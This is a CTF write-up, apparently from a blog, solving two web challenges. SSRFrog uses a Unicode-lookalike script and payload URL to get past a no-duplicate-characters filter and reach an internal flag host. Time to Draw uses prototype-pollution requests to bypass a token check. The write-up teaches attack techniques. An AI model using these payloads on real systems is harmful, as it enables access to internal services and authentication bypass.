SSRFrog

If you see the view-source of html code, you can easily find the syntax below.

FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80

It also provides back-end source code

const express = require("express");
const http = require("http");

const app = express();

app.get("/source", (req, res) => {
    return res.sendFile(__filename);
})
app.get('/', (req, res) => {
    const { url } = req.query;
    if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");

    // no duplicate characters in `url`
    if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

    try {
        http.get(url, resp => {
            resp.setEncoding("utf-8");
            resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
        }).on('error', () => res.send("WTF?"));
    } catch (error) {
        res.send("WTF?");
    }
});

app.listen(3000, '0.0.0.0');

It is a kind of SSRF(Server side request forgery) challenge.

But there are filters checking data type, input type.

if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

The filter code above means, no duplicate characters are not allowed.

If you use character a 'x', you cannot use that char anymore. Because, data-structure Set reduces duplicate element.

 

To make the url http://the.c0o0o0l-fl444g.server.internal:80 with no duplicate word is main challenge detail. 

Host splitting attack

By using host splitting attack, we can do that.

Main reason the host splitting attack is possible, the unicode normalization spec of http implementation.

If you try to connect http://www.ⓐⓑⓒ.com, it will normalized to www.abc.com, this behavior is not bug.

 

I tried bruteforce all range in unicode char, can make similar characters with target domain.

 

#-*- coding:utf-8 -*-

import sys

target = "HTtP:/\\the.c0o0o0l-fl444g.server.internal"
ans = list(target)
print (ans)
print (len(ans))
chars = set(target)
req = {}
for c in chars:
    if target.count(c) > 1:
     req[c] = target.count(c) - 1
print (req)
for v in (range(256, 0xffff)):
    try:
        if len(req) == 0:
            break
        result = chr(v).encode('idna').decode('utf-8')
        if result in req.keys():
            print(result, v, chr(v))
            for i in range(len(ans)):
                if ans[i] == result:
                    ans[i] = chr(v)
                    break
            req[result] = req[result] - 1
            if req[result] == 0:
                del req[result]
    except:
        pass
print (req)
print ("HTtP:/\\" + "".join(ans)[7:])

# new URL("HTtP:/\ⓣhℯ.c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal").origin == 'http://the.c0o0o0l-fl444g.server.internal'

It returns similar host name.

But it doesn't work at javascript function, because of invalid dot(.) substitution unicode character.

 

So, I run bruteforce with javascript

When you type the below value, you can get the flag!

HTtP:/\ⓣhℯ。c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal

Time to Draw

This challenge provides server code too.

I didn't back-up challenge details, only solved the problem.

 

Main vulnerability is prototype pollution.

Prototype pollution

Prototype is javascript feature.

blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

As the link say, prototype pollution is like belowed.

__proto__ === Object.prototype

If you can change the value of someVariable.__proto__.token, you can change all token member variable of object that does not have member variable name 'token'.

 

Example PoC code is like below.

canvas = Array();

canvas['__proto__']['token'] = 'my_evil_value';

var other_object = {};

console.log(other_object.token); // 'my_evil_value';

other_object.token should be the undefined variable, but prototype.token value is polluted, you can get the specific value.

 

I get the hash value of my custom ip and token

➜  ~ node
Welcome to Node.js v12.19.0.
Type ".help" for more information.
> var crypto = require('crypto');
undefined
> const hash = (token) => crypto.createHash("sha256").update(token).digest('hex');
undefined
> hash("42.29.23.221234567890123456")
'f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6'
>

You can pollute with the request below

http://chall.ctf.bamboofox.tw:8787/api/draw?x=__proto__&y=token&color=f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6

Then, you can get the flag with the request below

http://chall.ctf.bamboofox.tw:8787/flag?token=1234567890123456

Without admin cookie, userData.token === undefined, but with polluted prototype, you can bypass the check.

 

flag{baby.proto.pollution.js}

+ Recent posts